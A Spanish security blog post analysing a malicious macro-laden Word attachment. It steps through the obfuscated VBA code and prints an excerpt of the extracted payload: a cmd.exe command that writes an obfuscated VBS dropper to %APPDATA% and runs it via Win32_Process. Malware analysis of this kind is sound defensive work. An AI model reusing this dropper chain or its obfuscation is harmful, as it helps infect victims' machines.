Titanium Industrial Security Blog: 2016

Buenas tardes,

Hace unos días, aprovechando un correo extraño que le llegó al director general de uno de nuestros clientes, desde Titanium Industrial Security asumimos el reto de realizar un análisis forense del documento Word cifrado que se encontraba adjunto al mismo.

En la siguiente imagen se puede observar un extracto del correo recibido, cuya redacción ya nos ofrece pistas de que algo malo está ocurriendo:

Como primer paso, en una máquina virtual Windows sin interfaz de red habilitada (con el objetivo de minimizar el riesgo de infección) y con la aplicación Word instalada, se procede a abrir el documento adjunto, aportando para ello las credenciales que se proporcionan en el propio correo.

Como se puede observar, al abrir el documento se indica que el mismo cuenta con una serie de Macros embebidas que son necesarias habilitar para el correcto visionado del documento. Como siguiente paso, se procede a analizar las macros mediante el editor de Visual Basic for Applications (VBA) integrado en la suite de ofimática Office:

Como se puede ver en la anterior imagen, la macro embebida en el documento cuenta con 11 funciones bien diferenciadas. Procedemos a depurar el código existente, fijándonos en las partes más interesantes y obviando todo el código de relleno, práctica habitualmente utilizada para enmascarar las acciones realmente maliciosas. A modo de ejemplo, se puede observar como en la función “Q8Rw()” se crea una cadena de caracteres cuyo valor se encuentra prefijado en el código y como siguiente paso se eliminan de dicha cadena todos los caracteres “z” mediante la siguiente instrucción: “MZu3Xy1 = Split(GjcFB, O0IqPl((345382 / 2831)))”. Todo apunta que en el array “MZu3Xy1” se encuentra el payload malicioso a ejecutar por la macro en formato cadena de caracteres.

Además, como siguiente paso del análisis se observa que en el código también se declara un array de tipo Byte denominado “YCoCG” de tamaño 4611, que es rellenado mediante el siguiente juego de instrucciones:

Como se puede ver en la imagen anterior, el array “YCoCG” se va rellenado uno a uno con los valores contenidos en el array “MZu3Xy1”. Con esto, lo que consigue el atacante es convertir a Bytes el payload anteriormente mencionado.

Por otro lado, además, se observan otras tres instrucciones interesantes en el código analizado:

"XE = T39uQ(YCoCG, EUDVP)”: Devuelve una cadena de caracteres a partir de dos arrays de Bytes.
“Set WpSKcVDn = GetObject(T39uQ(Qw, KDTZPQrb))”: Devuelve una referencia al objeto proporcionado.
“CallByName WpSKcVDn, T39uQ(Ejr, DLP), 2244 - 2242, XE”: Llamada a un objeto del sistema con una serie de argumentos.

En los siguientes apartados se procede a explicar de forma resumida lo que realiza cada una de ellas, mediante la depuración del código haciendo uso de breakpoints en el propio editor de Visual Basic, acción que nos permite ir revisando paso por paso el comportamiento de la Macro analizada.

Como primer punto, nos centraremos sobre la instrucción “XE = T39uQ(YCoCG, EUDVP)”. Depurando paso por paso la instrucción, podemos observar como en XE se almacena una cadena de caracteres maliciosa que será pasada como argumento en la instrucción CallByName anteriormente comentada. Para facilitarnos la extracción de la cadena, procedemos a modificar el código de la Macro para que el contenido de XE se almacene en un fichero de texto externo (payload.txt), permitiendo su análisis pormenorizado más adelante:

En el siguiente extracto podemos observar una parte del contenido del fichero payload.txt:

"cmd.exe /V /C set ""ENIyIH=%APPDATA%\%RANDOM%.vbs"" && (for %i in (""dIm BDIB"" ""suB JDexD0I()"" ""FYjpt2=14"" ""Dim E8e9SPN,OmGAME"" ""FZ8=47"" ""For E8e9SPN = 12 To 7000293"" ""OmGAME = DHsCG + 5 + 6 + 3"" ""Next"" ""X8qGIX=91"" ""enD sUb"" ""Sub C62a2nu(AM01Lc)"" ""BF0sUz=62"" ""dIm PQR5oba"" ""RYXVmam=37"" ""PQR5oba=TIMer+AM01Lc"" ""U5JKNNiX=1"" ""dO WHIle tIMEr<PQR5oba"" ""LOop"" ""Lhk=14"" ""EnD SUb"" ""FunCTiON W8(NNknoGX)"" ""QM=5"" ""W8=CHr(NNknoGX)"" ""Rqb=89"" ""EnD FUnctIOn"" ""VlU=71"" ""UGTTGNku"" ""FuNcTIoN ItNJH9(ADRh,Beaz53)"" ""QXh=35"" ""DIm Q9dyE,AQL,Dq4AizA"" ""KEN=77"" ""foR Q9dyE=1 To (lEN(ADRh)/2)"" ""AQL=(W8((339758/8941)) & W8((7090-7018))&(miD(ADRh,(Q9dyE+Q9dyE)-1,2)))"" ""Dq4AizA=(JlGkpf(MiD(Beaz53,((Q9dyE MOd Len(Beaz53))+1),1)))"" ""ItNJH9=ItNJH9+W8(GL2(AQL,Dq4AizA))"" ""nExt"" ""RdJ=57"" ""ENd functIoN"" ""fUnctiOn L0fUbgb(QY)"" ""CvCtuT9Y=33"" ""sEt L0fUbgb=CREAteoBjecT(QY)"" ""Jt6Q=90"" ""EnD funCtion"" ""sUB S42jx"" ""WyDNa=29"" ""dim X3vken3b"" ""N7CVo=92"" ""X3vken3b = ItNJH9(""5505057D53100473192B41235F0606730E46597D0E4659731B0641610358416D1606143F"",""S6ha"")"" ""IO=38"" ""MjcXt X3vken3b,7779-7778"" ""Kfp1=59"" ""End suB"" ""fUnctiON JlGkpf(Ll)"" ""Aw=41"" ""JlGkpf=ASc(Ll)"" ""QxZRyL=47"" ""eNd FUncTiOn"" ""fuNctIoN MjcXt(VG,Kh0zT)"" ""N4j39n=90"" ""dim RUrnVpd"" ""MjX2hNol=17"" ""sEt RUrnVpd=L0fUbgb(ItNJH9(""3A1C1B353D1D1B56143C080314"",""TmoxG""))"" ""NIhHq=5"" ""RUrnVpd.RUn VG,2143-2143,Kh0zT""

…

do @echo %~i)>""!ENIyIH!"" && start """" ""!ENIyIH!"""

En el extracto anterior, vemos como se realiza una llamada a la Shell de Windows (cmd.exe) con opciones /V /C fijadas, con el objetivo de crear una variable de entorno denominada “ENIyIH” apuntando a un script de Visual Basic (VBS) de nombre aleatorio en el directorio del sistema “AppData” cuyo código comienza por “(for %i in”, y una vez realizado lo anterior, ejecutar dicho script mediante la llamada: start “!ENIyIH!”.

En lo que se refiere a la depuración paso por paso de la instrucción “Set WpSKcVDn = GetObject(T39uQ(Qw, KDTZPQrb))”, finalmente podemos observar que “WpSKcVDn” contiene una referencia al objeto “Win32_Process”. En la siguiente imagen se puede observar un ejemplo de su contenido:

Por último, en relación a la función “CallByName WpSKcVDn, T39uQ(Ejr, DLP), 2244 - 2242, XE”, al igual que ocurrió con anterioridad procedemos a modificar el código de la Macro para evitar que al depurar el código se ejecute la instrucción, ya que es la que realmente realiza la acción maliciosa sobre el equipo Windows en cuestión:

Como se observa en la imagen, se ha comentado la función CallByName para evitar que se ejecute la instrucción, y se define en el código la cadena “nombre_proceso” cuyo contenido (“Create”) es el primer argumento que le pasa el atacante al objeto Win32_Process.

Recapitulando, en síntesis, la acción maliciosa que ejecuta la Macro analizada es crear y ejecutar en el sistema un script de Visual Basic (VBS) de nombre aleatorio cuyo contenido se encuentra en la variable “XE”.

Por otro lado, en la siguiente evidencia se muestra el análisis de la Macro realizado por una de las herramientas online más utilizada en la actualidad para la identificación de ficheros maliciosos, como es Virustotal, en la que se puede ver que el ratio de detección fue muy pobre en el momento que se realizó nuestro análisis, ya que únicamente fue detectada como maliciosa por 2 de 54 antivirus:

En el siguiente post de esta entrada dedicada a métodos de infección basados en Macros, analizaremos el código del script Visual Basic generado por la Macro estudiada durante este post. De todas formas, para ir abriendo boca, se muestra el análisis del mismo realizado por la herramienta Virustotal, en el que se puede observar que el ratio de detección también fue bajo:

Un saludo.

miércoles, 30 de noviembre de 2016

DIAL 4.0: El momento de la tertulia

martes, 22 de noviembre de 2016

Macros Return